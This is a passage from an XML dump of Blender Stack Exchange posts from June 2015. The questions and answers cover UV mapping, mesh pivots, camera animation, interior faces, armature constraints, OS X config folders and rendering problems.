LastActivityDate="2015-06-19T20:08:12.773" Title="What is this U.V. artifact?" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32716" PostTypeId="2" ParentId="26810" CreationDate="2015-06-19T19:31:44.360" Score="2" Body="&lt;p&gt;You could also potentially just convert your model to STL and then have your part 3D printed in PLA. There are some good videoes on youtube of people using 3D printed PLA parts over wax for casting. Check on 3D hubs for an affordable printer near your location. Also check out fusion 360. It is a free CAD program. You can export from blender to obj, and then import into fusion and convert the mesh into a BREP which you can export to step. Converting from mesh to BRep can be tricky if you don't have a clean mesh. You may need to use netfabb or meshlab to repair it.&lt;/p&gt;&#xA;" OwnerUserId="15105" LastActivityDate="2015-06-19T19:31:44.360" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32717" PostTypeId="1" CreationDate="2015-06-19T19:33:08.613" Score="0" ViewCount="3235" Body="&lt;p&gt;I need to write a python script in order to import .mhx file and management it. I don't if it is possible to do that or no? Any help?&lt;/p&gt;&#xA;" OwnerUserId="11289" LastActivityDate="2018-06-27T19:19:46.680" Title="How to import a .mhx file into blender using a python script" Tags="&lt;python&gt;&lt;scripting&gt;&lt;makehuman&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32718" PostTypeId="1" AcceptedAnswerId="33925" CreationDate="2015-06-19T19:47:12.270" Score="3" ViewCount="1679" Body="&lt;p&gt;I would like to combine an image sequence into a single image in a quick way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried adding all the images into the compositor manually:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7fY6F.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it will take a long time to add each node one by one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://m.youtube.com/watch?v=5uiE1b8NDHM&quot; rel=&quot;nofollow noreferrer&quot;&gt;This&lt;/a&gt; is what type of result I want.&lt;/p&gt;&#xA;" OwnerUserId="12782" LastEditorUserId="3710" LastEditDate="2015-07-14T15:18:18.890" LastActivityDate="2015-07-14T15:18:18.890" Title="Combining an image seqence into a single image" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;nodes&gt;&lt;workflow&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32719" PostTypeId="1" CreationDate="2015-06-19T20:02:06.537" Score="1" ViewCount="197" Body="&lt;p&gt;Is there a way to render an anti-aliasing sample rate pass on Yafaray like V-Ray does?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HbJ1t.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is extremely useful to fine-tune the render settings and have a quality output without cranking the AA settings high up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen something like this on the Yafaray documentation (on the render settings chapter about AA threshold) but I couldn't find a way to render it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CM4zJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5042" LastEditorUserId="3710" LastEditDate="2015-06-20T19:55:24.590" LastActivityDate="2016-01-02T11:26:03.123" Title="Show sample rate pass on Yafaray" Tags="&lt;rendering&gt;&lt;external-applications&gt;&lt;render-passes&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32720" PostTypeId="2" ParentId="32715" CreationDate="2015-06-19T20:08:12.773" Score="1" Body="&lt;p&gt;It's hard to say exactly what the items are that are perplexing you. One possibility is that they may be one or more faces on the inside of your mesh that you created by accident. If this is the case, you might locate them by switching to wireframe mode. To see if it's a poorly unwrapped face, switch to textured mode in the 3D viewport, and move the point that is active in the UV editor window and see where the texture on the textured mesh moves. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-06-19T20:08:12.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32722" PostTypeId="2" ParentId="31877" CreationDate="2015-06-19T20:26:22.763" Score="-1" Body="&lt;p&gt;After having this problem for a second time (when installing ubuntu on my new hard drive) I have found the solution, you must install the package &lt;strong&gt;nvidia-modprobe&lt;/strong&gt; which will detect your nvidia CUDA device and make it available for blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://blender.stackexchange.com/questions/7485/enabling-gpu-rendering-for-cycles&quot;&gt;Enabling GPU rendering for Cycles?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, where are you getting the nvidia drivers from if you install the ones from a ppa it won't work (at least for me) if you go to additional drivers, does the driver you're useing say &quot;proprietary tested&quot;?&lt;/p&gt;&#xA;" OwnerUserId="12782" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2016-07-13T23:09:45.937" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32723" PostTypeId="1" AcceptedAnswerId="32814" CreationDate="2015-06-19T20:29:35.883" Score="3" ViewCount="437" Body="&lt;p&gt;Controlling IPO curves for camera animation is quite challenging for me. I often want to dolly the camera closer to an object but in the f-curve editor I end up needing to control two separate curves for this move (usually x and y). I have noticed that I can get a very nice single z-curve for this move if I parent the camera to another object (this makes all the curves for the child local), but here's the part I can't seem to solve:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like the parent object to follow the camera location, so that the pivot point for the camera rotation would always stay the same. At the moment the rotation pivot changes based on the locational relationship between the camera and the parent object. I know this creates a loop in the parent relationship and that's why I can't seem to solve it. I tried to do the parenting with two &quot;child of&quot; constraints so that the camera would follow only the rotation of the cube and the cube would follow only the location of the camera, but that setup doesn't update &quot;live&quot; but only after I move the playhead, which makes accurate editing very difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way of getting to enjoy local animation curves for the camera while keeping the pivot point of it consistent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;I attached a file which demonstrates a nice single curve for the camera dolly. This is the setup I would like to use if only there would be a way to keep the pivot point consistent:&#xA;&lt;a href=&quot;http://we.tl/2VtpIqdKo8&quot; rel=&quot;nofollow&quot;&gt;http://we.tl/2VtpIqdKo8&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1037" LastEditorUserId="1037" LastEditDate="2015-06-21T22:12:14.183" LastActivityDate="2019-07-18T15:29:06.470" Title="Camera animation with local curves" Tags="&lt;camera&gt;" AnswerCount="1" CommentCount="11" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32725" PostTypeId="1" CreationDate="2015-06-19T22:29:17.517" Score="1" ViewCount="2191" Body="&lt;p&gt;I'm rendering an animation and I want it to be at 60fps. I plan to upload it to YouTube. So which file type format should I use: AVI JPEG, AVI Raw, H.264, MPEG, or Xvid? And what codec should I use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I've used AVI format with H.264 codec. That seems to be working, but my computer isn't the best so I don't know if it's a format that actually supports 60fps. Any advice on this is greatly appreciate!&lt;/p&gt;&#xA;" OwnerUserId="14517" LastActivityDate="2015-12-27T22:40:56.430" Title="What's the best output and encoding for 60fps animation?" Tags="&lt;file-format&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32726" PostTypeId="2" ParentId="105" CreationDate="2015-06-19T22:35:45.357" Score="1" Body="&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;P&lt;/kbd&gt; and parent, very useful thing that I use to group objects like lamps&lt;/p&gt;&#xA;" OwnerUserId="15106" LastEditorUserId="1245" LastEditDate="2015-06-19T23:41:17.343" LastActivityDate="2015-06-19T23:41:17.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32727" PostTypeId="2" ParentId="32452" CreationDate="2015-06-20T00:35:33.700" Score="1" Body="&lt;p&gt;If in &quot;exactly the same&quot; you are talking about the &lt;strong&gt;&lt;em&gt;process&lt;/em&gt;&lt;/strong&gt; of unwrapping then &lt;strong&gt;no&lt;/strong&gt;, every software you use will do it slightly differently; if, however, you mean the &lt;strong&gt;&lt;em&gt;result&lt;/em&gt;&lt;/strong&gt; of unwrapping an object, then (as far as I know and practically speaking) &lt;strong&gt;yes&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I will attempt to answer your question in two parts:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Process:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The main difference in the process of UV unwrapping between 3ds Max and Blender is that in Max, unwrapping is done within a modifier; whereas in Blender it is done at the base mesh level in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the only main difference I can think of at the moment.  Obviously there will be many other minor differences.  But there really isn't much that either software can do that the other can't.  It is mostly determined by ease of use and personal preference.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Result:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;As I mentioned above, the result of unwrapping an object is basically the same as in 3ds Max.  I.E. every vertex on the model is assigned a &lt;a href=&quot;https://blender.stackexchange.com/questions/23173/what-methods-can-be-used-to-place-a-texture-onto-an-object/23174#23174&quot;&gt;UV coordinate&lt;/a&gt; and the coordinates are interpolated between them across the faces.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2015-06-20T00:35:33.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32728" PostTypeId="1" CreationDate="2015-06-20T00:38:53.973" Score="1" ViewCount="1074" Body="&lt;p&gt;I wrote a tool that outputs a Blender python script that generates a given Minecraft world in Blender using the fewest cubes possible. It's working great, but I'm having terrible difficulty trying to remove interior faces (for optimization reasons).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7AD9a.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I &quot;Remove Doubles&quot; the &quot;Select -&gt; Interior Faces&quot; will select several faces. However, some of them are actually &lt;em&gt;exterior faces&lt;/em&gt; and it doesn't even detect a significant number of interior faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think there's anything strange going on with my geometry; the vertices are all snapped to the grid, and nothing overlaps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is &quot;Select -&gt; Interior Faces&quot; just poorly implemented in Blender? Or is there precursory steps to using it?&lt;/p&gt;&#xA;" OwnerUserId="14324" LastActivityDate="2015-06-20T08:30:33.103" Title="&quot;Select Interior Faces&quot; buggy and unpredictable?" Tags="&lt;optimization&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-06-20T13:15:03.817" ContentLicense="CC BY-SA 3.0" />
  <row Id="32729" PostTypeId="1" AcceptedAnswerId="33140" CreationDate="2015-06-20T01:09:13.510" Score="4" ViewCount="250" Body="&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;from bge import logic&#xA;&#xA;controllor = bge.logic.getCurrentController()&#xA;scene = bge.logic.getCurrentScene()&#xA;&#xA;target = scene.objects['Target']&#xA;ray = controllor.sensors['Ray']&#xA;&#xA;if (ray.hitObject and not 'Fire_False' in ray.hitObject):&#xA;    target.worldPosition = ray.hitPosition&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've noticed that if you have an object with the prop &quot;Fire_False&quot; and &lt;strong&gt;an object &lt;em&gt;behind&lt;/em&gt; it &lt;em&gt;without&lt;/em&gt; the prop, the ray &lt;em&gt;doesn't&lt;/em&gt; track to the object behind the first&lt;/strong&gt;. I am looking to modify this script so the ray can look through the object with the prop and find other objects &lt;em&gt;behind it&lt;/em&gt;. If the script sees a situation like this, it uses the object with the prop as a &lt;strong&gt;dead end&lt;/strong&gt;, and does &lt;em&gt;not&lt;/em&gt; continue tracking. How can I have this ray see though props? Any help is appreciated. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: I would also like this to work &lt;em&gt;if an object in in another object&lt;/em&gt; and the bound object does have Fire_False, but the object in it &lt;strong&gt;doesn't&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="1597" LastEditDate="2015-06-28T05:32:03.180" LastActivityDate="2015-06-29T00:56:52.523" Title="Allow ray to see through properties?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32730" PostTypeId="1" AcceptedAnswerId="32732" CreationDate="2015-06-20T01:37:31.547" Score="3" ViewCount="4358" Body="&lt;p&gt;I have a certain combat airplane model and i need to create all the animations to be able to use it in a game. I've got this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WGSdX.png&quot; alt=&quot;wireframe screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to rotate the elevator mesh (The one not selected) around the selected mesh. I've tried using the rotate tool but it always ends up moving the elevator mesh (rotating and translating around the center point/3d cursor) and that is not i want. I want the front of the mesh to go up and the back to go down, taking the little mesh as a pivot, so the mesh moves like an actual elevator would.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should i go about this?&lt;/p&gt;&#xA;" OwnerUserId="15107" LastActivityDate="2019-01-24T03:03:00.410" Title="How to rotate a mesh around another one?" Tags="&lt;mesh&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32731" PostTypeId="1" CreationDate="2015-06-20T01:42:44.570" Score="1" ViewCount="579" Body="&lt;p&gt;I need help installing Blender on OS X. I unzipped the file, dragged the folder to the Applications folder, ran Blender, opened User Preferences, went to the directories setup (File tab), but there were no directories listed. I looked in the manual, which referenced a folder which is not on my system, or, if it is, I cannot find it. Then, I read that I have to create each directory, but I don’t know where to create them.&lt;/p&gt;&#xA;" OwnerUserId="15108" LastEditorUserId="55" LastEditDate="2015-06-22T23:44:05.630" LastActivityDate="2015-06-22T23:44:05.630" Title="How to install Blender on OS X (Blender directories?)" Tags="&lt;customization&gt;&lt;path&gt;&lt;osx&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32732" PostTypeId="2" ParentId="32730" CreationDate="2015-06-20T02:17:10.273" Score="4" Body="&lt;p&gt;At a guess you want to &lt;em&gt;select&lt;/em&gt; the elevator mesh then &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;em&gt;select&lt;/em&gt; the pivot or controller mesh. With the elevator &lt;strong&gt;selected&lt;/strong&gt; and the control mesh &lt;strong&gt;selected&lt;/strong&gt; and &lt;strong&gt;active&lt;/strong&gt; press &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;P&lt;/kbd&gt; to parent the elevator to the pivot or control mesh. The first choice in the drop-down list should work: 'Object'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, do you need the pivot mesh? Perhaps you should use an empty object instead to control the rotation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also move the center of rotation of an object. In edit mode select the front vertices of your elevator then &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; then &lt;kbd&gt;U&lt;/kbd&gt; to choose &quot;Cursor to selected&quot;. &lt;kbd&gt;Tab&lt;/kbd&gt; out of Edit mode back into Object mode and then &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; to bring up the Set Origin dialogue and press shortcut &lt;kbd&gt;T&lt;/kbd&gt; to move &quot;Origin to 3D Cursor&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An absolute must-read is Witold Jaworski's excellent reference work &lt;em&gt;Virtual Airplane&lt;/em&gt; which can be found on his site:&#xA;&lt;a href=&quot;http://www.airplanes3d.net/index_e.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Virtual Aircraft&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a quick blend file showing one way to control a surface:&#xA;&lt;a href=&quot;https://www.dropbox.com/s/6y06t1scalsf6bl/controlled_elevator.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;controlled_elevator.blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under the Properties tag you can lock rotation in the x, y, or z axis:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tezD7.png&quot; alt=&quot;lock rotation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under the Constraints tab you can limit the rotation of the controller (the empty):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f5DNP.png&quot; alt=&quot;limit rotation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a follow-up, and keeping within the aeronautical theme, here is a link to a blend file of a variable pitch propeller, controlled with bones and drivers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/btbv0bm9blyhoxq/pitch_control_bones.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;pitch_control_bones.blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7bNjg.png&quot; alt=&quot;variable-pitch-propeller&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15038" LastEditorUserId="32220" LastEditDate="2019-01-24T03:03:00.410" LastActivityDate="2019-01-24T03:03:00.410" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32733" PostTypeId="2" ParentId="32728" CreationDate="2015-06-20T02:19:30.893" Score="2" Body="&lt;p&gt;First, it may be useful examine this in wireframe display, instead of the solid display you have in the screenshot in your question. I suspect the reason why some of what are marked interior might be more obvious that way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether the problem is a bug, will depend in part upon how one defines what a bug is. I suspect that in this case, the software is working as designed, and the problem lies in the difficulty in describing for the software what an constitutes an &quot;interior face&quot;. The best definition of &quot;interior faces&quot; I can find is in the hint that appears if you hover the cursor over the &quot;interior faces&quot; option of the select menu in the 3D viewport in edit mode. That reads&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Select faces where all edges have more than 2 face users.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;which explains why some faces that appear to be exterior faces are selected in your screenshot. For example in the center of your screenshot are three exposed faces which are showing to be as &quot;interior&quot; Examining these closely, you will see that each of the edges of these faces is connected to three different faces. For example, the leftmost edge of the left face is connected to the two fades one can see on either side, and then also connected two the face perpendicular to these two. Examining the other three edges would reveal that each edge is part of three faces, and by the definition of an inside edge as given in the tool tip, the face is interior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also classes of interior faces that the algorithm would not catch. An example of one of these is an interior face in a cube defined by the lower far left, the upper far right, and upper near left vertices. When displayed solid, it is obvious that this is an interior face, but none of the edges belong to more than one face, so it would not be reported by the &quot;select &gt; Interior faces&quot; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know that I'd say the algorithm is poorly implemented, but it might be that this may be a good implementation of an algorithm that is not the best one for your purposes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might find the algorithm associated with the &quot;Non-manifold&quot; option from the select menu item (shortcut &lt;kbd&gt;SHFT&lt;/kbd&gt;-&lt;kbd&gt;CTRL&lt;/kbd&gt;-&lt;kbd&gt;ALT&lt;/kbd&gt;-&lt;kbd&gt;M&lt;/kbd&gt; to give more satisfactory results, although I don't know how this algorithm is different from the &quot;interior faces&quot; one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also reconsider how your tool that generates the python script, is generating a new cube? The screenshot suggests that you may be generating the new cube by adding a new cube mesh primitive. If this is so, it might result in the kind of interior faces you are seeing in the screenshot. As an option, you might modify your python script so that where you need a new cube, check to see if will be attached to the existing mesh. If it is, then check to see if there is a common face between the new cube primitive and the existing mesh. If there are no common faces, check for common edges between the new cube primitive, and the existing mesh. And if there are neither any common faces, nor common edges, check for common vertices. If there are common vertices, edges, or faces, then create the needed geometry by extrusion from the existing mesh, rather than adding new primitives, because extrusion should reduce the number of interior faces. Of course, if you need a cube where you don't have an element to extrude from, then you'll have to add a mesh. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2015-06-20T08:30:33.103" LastActivityDate="2015-06-20T08:30:33.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32734" PostTypeId="1" CreationDate="2015-06-20T02:39:22.667" Score="0" ViewCount="60" Body="&lt;p&gt;When I seam and uv map this stool, the faces overlap on the image section. I recently switched from v 2.74 to 2.64 to model for another program. Help baby cakes? &lt;img src=&quot;https://i.stack.imgur.com/YJZD5.png&quot; alt=&quot;This is that it looks like.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Is7yb.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This here is me attempting to just uv map the two sides of this stool, where as the top image is me trying to uv map the whole thing.&lt;/p&gt;&#xA;" OwnerUserId="15109" LastEditorUserId="15109" LastEditDate="2015-06-20T10:53:25.140" LastActivityDate="2015-06-20T19:54:40.803" Title="uv map not mapping" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;&lt;workflow&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32735" PostTypeId="1" CreationDate="2015-06-20T02:42:54.080" Score="1" ViewCount="35" Body="&lt;p&gt;I messed up at some point during modeling and had to reconnect some edges but now I don't have the vertices I need to continue. How can I fix the faces so it fits the rest of the model?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c5pM6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14421" LastActivityDate="2015-06-20T02:42:54.080" Title="How can I fix these faces?" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-06-20T05:56:17.450" ContentLicense="CC BY-SA 3.0" />
  <row Id="32737" PostTypeId="2" ParentId="32731" CreationDate="2015-06-20T06:07:27.010" Score="2" Body="&lt;p&gt;You don't need to install any directories. If you're looking for where the scripts, config and cache folders are, they're in the Application Support folder under your user account directory.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;/Users/$USER/Library/Application&#xA;  Support/Blender/2.74/cache&lt;/li&gt;&#xA;  &lt;li&gt;/Users/$USER/Library/Application&#xA;  Support/Blender/2.74/config&lt;/li&gt;&#xA;  &lt;li&gt;/Users/$USER/Library/Application&#xA;  Support/Blender/2.74/scripts&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The cache folder is where the BVH cache files are saved, and you can sometimes free up quite a lot of space by deleting them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The config folder is where your startup and userpref files are kept.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The scripts/addons folder is where all your installed addons will be. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There will be separate folder for each version of Blender under Application Support/Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're looking for Scripts/Addons/Presets/Modules that come with the Blender install, you have to look inside the Blender.app file. On a Mac, the application appears as a single file, but it's actually a folder with files within it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you right click on the Blender.app file, and choose Show Package Contents, you'll see a Contents folder. Open that and you'll see a number of files and folders. The scripts and presets are in the Resources folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file hierarchy is like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Blender 2.74.app&#xA;+--Contents&#xA;   +--Resources&#xA;      +--2.74&#xA;         +--datafiles&#xA;         +--python&#xA;         +--scripts&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="894" LastEditorUserId="55" LastEditDate="2015-06-22T23:09:36.350" LastActivityDate="2015-06-22T23:09:36.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32738" PostTypeId="1" CreationDate="2015-06-20T06:24:25.077" Score="5" ViewCount="866" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lo4Ef.jpg&quot; alt=&quot;The Problem I&amp;#39;m encountering with Freestyle line renders. &quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Large Gaps appearing in external contour. I've disabled any modifiers and have troubleshot the issue extensively using other &quot;gap fix&quot; procedures &amp;amp; recommendations. Error appears to occur at very acute angles, but line-render isn't tied to occluded freestyle edges. Error somewhat affected by rotation of object&lt;/p&gt;&#xA;" OwnerUserId="15112" LastActivityDate="2017-03-11T09:22:32.713" Title="Freestyle External Contour has Large Gaps. Error Related to Topology?" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;&lt;edges&gt;&lt;freestyle&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32739" PostTypeId="1" CreationDate="2015-06-20T06:43:52.727" Score="1" ViewCount="339" Body="&lt;p&gt;So I just finished modelling my Scar H but I noticed this it has some blue and white parts in it and when I import it to UE4 and Unity half of the blue parts was gone am I doing something wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In UE4 when I import it it says &quot;the model has degenerate tangent which may cause incorrect shading&quot;&lt;/p&gt;&#xA;" OwnerUserId="15113" LastEditorUserId="9621" LastEditDate="2015-06-25T12:56:34.593" LastActivityDate="2015-06-25T12:56:34.593" Title="Missing Faces when importing to Ue4 and Unity" Tags="&lt;import&gt;&lt;unity&gt;" AnswerCount="0" CommentCount="7" ClosedDate="2015-06-20T08:18:05.597" ContentLicense="CC BY-SA 3.0" />
  <row Id="32740" PostTypeId="1" CreationDate="2015-06-20T06:48:51.787" Score="1" ViewCount="1084" Body="&lt;p&gt;I have 2 armatures, the first has a static root bone that does not move, the others can only rotate on the Z axis, I am trying to get the last child bone to track the second armature, the second armature only moves up and down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the last bone in the link to track the second armature and to cause all the parent bones connected to it, apart from the root bone rotate to keep all the bones connected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is for a &quot;Digger&quot; like object where the Root would be the base of the vehicle that does not move, and by graving and moving the bucket the rest compensates appropriately.&lt;/p&gt;&#xA;" OwnerUserId="3035" LastActivityDate="2015-06-20T22:44:51.983" Title="Get Bone to track another armature" Tags="&lt;armature&gt;&lt;bones&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32741" PostTypeId="2" ParentId="32740" CreationDate="2015-06-20T08:37:15.300" Score="1" Body="&lt;p&gt;I Managed to accomplish this through trial and error. First going from the second bone (first child after Node) I added two Constraint's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First add a &quot;Damped track&quot; and target the same armature as the bone, and target the next bone in the armature, Bone_2 targets Bone_3, 2-&gt;3, 3-&gt;4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second add a &quot;Limit rotation&quot; constraint keep everything default and Limit X, Y, and Z. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the last, Tail Node add only 1 Constraint: A &quot;Inverse Kinimatics&quot; Target is Armature 2, Bone x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After all this the first armature will fallow the second one, keeping its constraints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I made a small mistake the last Bone (Tail) constraint is not a Spline IK, but an Inverse Kinimatics constraint.&lt;/p&gt;&#xA;" OwnerUserId="3035" LastEditorUserId="3035" LastEditDate="2015-06-20T22:44:51.983" LastActivityDate="2015-06-20T22:44:51.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32742" PostTypeId="1" CreationDate="2015-06-20T09:03:58.047" Score="1" ViewCount="260" Body="&lt;p&gt;After making some improvements to a project that I have not previously had any problems with I proceeded to set up my render settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then realised that I had been working in blender render instead of cycles. I don't know what the difference is between them really apart from I was able to do a lot more in blender render than in cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I made the changes I needed to make now that I was in cycles render and tried to render the animation. And this happened!!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w1knQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cc4ZC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15115" LastActivityDate="2015-06-20T09:49:15.297" Title="Blender Cycles quickly renders animation just black" 